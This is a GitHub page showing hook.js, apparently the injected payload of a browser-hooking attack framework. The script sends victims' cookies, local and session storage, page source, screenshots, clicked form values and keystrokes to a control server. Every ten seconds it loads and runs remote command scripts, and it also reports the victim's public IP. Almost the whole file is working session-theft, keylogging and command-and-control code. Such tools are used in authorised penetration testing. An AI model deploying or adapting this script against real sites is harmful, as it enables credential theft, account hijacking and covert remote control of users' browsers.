-
Notifications
You must be signed in to change notification settings - Fork 51
/
hook.js
171 lines (143 loc) · 7.87 KB
/
hook.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
var address = "localhost:80";
// Generate browserId in Session storage
if(sessionStorage.getItem('browserID') == null) {
browserID = '_' + Math.random().toString(36).substr(2, 9);
sessionStorage.setItem('browserID', browserID);
new Image().src = 'http://' + address + '/rcv.php?action=initHook&browserId=' + browserID + '&userAgent=' + navigator.userAgent + '&hostname=' + window.location.host + '&vulnerableURL=' + window.location.href + '&origin=' + window.location.origin + '&referer=' + document.referrer + '&cookies=' + document.cookie + '&localStorage=' + window.localStorage + '&sessionStorage=' + window.sessionStorage;
new Image().src = "http://" + address + "/rcv.php?browserId=" + browserID + "&type=Info&module=Core&event=" + btoa("The Browser has been successfully hooked");
window.setTimeout(function() {
// Retrieve source code
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://' + address + '/rcv.php?browserId=' + browserID, true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var html = btoa(document.getElementsByTagName('html')[0].outerHTML);
xhr.send('sourceCode=' + encodeURIComponent(html));
}, 2000);
// Include js lib for screenshot
var script = document.createElement('script');
script.src = "http://" + address + "/scripts/html2canvas.min.js";
document.head.appendChild(script);
window.setTimeout(function() {
html2canvas(document.body, {logging:false}).then(function(canvas) {
var dataURL = canvas.toDataURL();
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://" + address + "/rcv.php?browserId=" + browserID, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("hookedScreenshot=" + encodeURIComponent(dataURL));
});
}, 3000);
}
var browserID = sessionStorage.getItem('browserID');
// Load keylogger func on onload
window.onload = function() {
// Track onclick events
document.body.onclick = onclickEvent;
// Track onfocus/onBlur events on all <inputs> elemts
inputs = document.getElementsByTagName('input');
for (i = 0; i < inputs.length; i++) {
inputs[i].onblur = onBlurEvent;
}
// Get Public IP
getPublicIP();
// By default, the keylogger functionnality is disabled (or when the user reload the page)
new Image().src = "http://" + address + "/rcv.php?browserId=" + browserID + "&type=Info&module=Keylogger&event=" + btoa("Keylogger is disabled (loading/reloading page)");
}
// Heartbeat function
window.setInterval(function() {
new Image().src = 'http://' + address + '/rcv.php?action=heartbeat&browserId=' + browserID;
}, 3000);
// Get commands every 10 sec
window.setInterval(function() {
var script = document.createElement('script');
script.src = 'http://' + address + '/hooked_browsers/' + browserID + '/' + browserID + '_commands.js';
document.head.appendChild(script);
}, 10000);
// Track onclick event on <input>, <a>, <button>
// Try to send form data when is available
// TODO : add event window.onload
function onclickEvent(e) {
var event = "";
var localName = e.target.localName;
switch(localName) {
case 'input':
if(e.target.type === 'submit') {
if(e.target.form === null) {
event = '{"event":"onclick","' + e.target.localName + '":{"type":"' + e.target.type + '","name":"' + e.target.name + '","value":"' + e.target.value + '","text":"' + e.target.innerText + '"}}';
new Image().src = 'http://' + address + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
}
else {
event = '{"event":"onclick","' + e.target.localName + '":{"type":"' + e.target.type + '","name":"' + e.target.name + '","value":"' + e.target.value + '","text":"' + e.target.innerText + '", "form": {"action":"' + e.target.form.action + '", "method":"' + e.target.form.method + '"';
var elements = e.target.form.elements;
for (var i = 0, element; element = elements[i++];) {
if (element.localName === "input" && element.type !== "submit") {
inputElem = ', "' + element.localName + '_' + i + '" : {"tag":"' + element.localName + '","type":"' + element.type + '","name":"' + element.name + '","id":"' + element.id + '","value":"' + element.value + '"}';
event = event + inputElem;
}
}
event = event + "}}}";
new Image().src = 'http://' + address + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
}
}
else {
event = '{"event":"onclick","' + e.target.localName + '":{"type":"' + e.target.type + '","name":"' + e.target.name + '","id":"' + e.target.id + '","value":"' + e.target.value + '"}}';
new Image().src = 'http://' + address + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
}
break;
case 'a':
event = '{"event":"onclick","' + e.target.localName + '":{"href":"' + e.target.href + '","title":"' + e.target.title + '","text":"' + e.target.text + '"}}';
new Image().src = 'http://' + address + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
break;
case 'button':
if(e.target.form === null) {
event = '{"event":"onclick","' + e.target.localName + '":{"type":"' + e.target.type + '","name":"' + e.target.name + '","value":"' + e.target.value + '","text":"' + e.target.innerText + '"}}';
new Image().src = 'http://' + address + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
}
else {
event = '{"event":"onclick","' + e.target.localName + '": {"type":"' + e.target.type + '","name":"' + e.target.name + '","value":"' + e.target.value + '","text":"' + e.target.innerText + '", "form": {"action":"' + e.target.form.action + '", "method":"' + e.target.form.method + '"';
var elements = e.target.form.elements;
for (var i = 0, element; element = elements[i++];) {
if (element.localName === "input") {
inputElem = ', "' + element.localName + '_' + i + '" : {"tag":"' + element.localName + '","type":"' + element.type + '","name":"' + element.name + '","id":"' + element.id + '","value":"' + element.value + '"}';
event = event + inputElem;
}
}
event = event + "}}}";
new Image().src = 'http://' + address + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
}
break;
}
}
// Get onblur data
function onBlurEvent(e) {
var event = "";
var localName = e.target.localName;
event = '{"event":"onblur","' + e.target.localName + '":{"type":"' + e.target.type + '","name":"' + e.target.name + '","value":"' + e.target.value + '"}}';
new Image().src = 'http://' + address + '/rcv.php?browserId=' + browserID + '&type=Event&module=Core&event=' + btoa(event);
}
// Get printable characters
function getOnKeyPress(e) {
var key = e.key;
if(key === ' ' || key === 'Spacebar') {
key = "{Space}";
}
new Image().src = 'http://' + address + '/rcv.php?browserId=' + browserID + '&type=Event&module=Keylogger&event=' + btoa('onkeypress(' + key + ')');
}
// Get special characters
function getOnKeyDown(e) {
var key = e.key;
if(key === 'Backspace') {
key = "{Backspace}";
new Image().src = 'http://' + address + '/rcv.php?browserId=' + browserID + '&type=Event&module=Keylogger&event=' + btoa('onkeydown(' + key + ')');
}
}
// Get PublicIP function
function getPublicIP() {
var xhr = new XMLHttpRequest();
xhr.open("GET", 'http://api.ipify.org/', true);
xhr.onreadystatechange = function() {
if (this.readyState === XMLHttpRequest.DONE && this.status === 200) {
new Image().src = 'http://' + address + '/rcv.php?action=getPublicIP&browserId=' + browserID + '&publicIP=' + xhr.responseText;
}
}
xhr.send();
}